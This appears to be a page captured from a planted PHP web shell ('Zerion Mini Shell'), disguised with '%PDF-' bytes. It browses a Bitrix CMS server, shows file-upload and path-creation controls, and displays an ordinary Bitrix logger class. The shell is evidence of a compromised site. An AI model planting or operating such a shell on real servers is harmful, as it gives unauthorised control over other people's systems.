%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/exchange/internals/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/exchange/internals/logger.php

<?php

namespace Bitrix\Sale\Exchange\Internals;


use Bitrix\Main\Config\Option;
use Bitrix\Main\Type\DateTime;
use Bitrix\Sale\Internals\Fields;

class Logger
{
	/** @var  Fields */
	protected $fields;

	const INTERVAL_DAY_OPTION = "SALE_EXCHANGE_DEBUG_INTERVAL_DAY";

	public function __construct()
	{
		$this->fields = new Fields();
	}

	/**
	 * @return static
	 */
	public static function getCurrent()
	{
		return new static();
	}

	/**
	 * @param $name
	 * @param $value
	 */
	public function setField($name, $value)
	{
		$this->fields->set($name, $value);
	}

	/**
	 * @param $name
	 * @return null|string
	 */
	public function getField($name)
	{
		return $this->fields->get($name);
	}

	/**
	 * @return int
	 */
	static public function getInterval()
	{
		$interval = Option::get('sale', static::INTERVAL_DAY_OPTION, 1);
		return intval($interval)>0 ? $interval:1;
	}

	/**
	 * @return \Bitrix\Main\Entity\AddResult|null
	 */
	public function save()
	{
		$params['ENTITY_ID'] = $this->getField('ENTITY_ID');
		$params['ENTITY_TYPE_ID'] = $this->getField('ENTITY_TYPE_ID');
		$params['PARENT_ID'] = $this->getField('PARENT_ID');
		$params['OWNER_ENTITY_ID'] = $this->getField('OWNER_ENTITY_ID');
		$params['ENTITY_DATE_UPDATE'] = $this->getField('ENTITY_DATE_UPDATE');
		$params['XML_ID'] = $this->getField('XML_ID');
		$params['DESCRIPTION'] = $this->getField('DESCRIPTION');
		$params['MESSAGE'] = $this->getField('MESSAGE');
		$params['DIRECTION'] = $this->getField('DIRECTION');
		$params['MARKED'] = $this->getField('MARKED') === 'Y' ? 'Y' : 'N';
		$params['DATE_INSERT'] = new DateTime();

		return static::log($params);
	}

	/**
	 * @param array $params
	 * @return \Bitrix\Main\Entity\AddResult|null
	 */
	static public function log(array $params)
	{
		$result = ExchangeLogTable::add($params);
		return $result;
	}
}

Zerion Mini Shell 1.0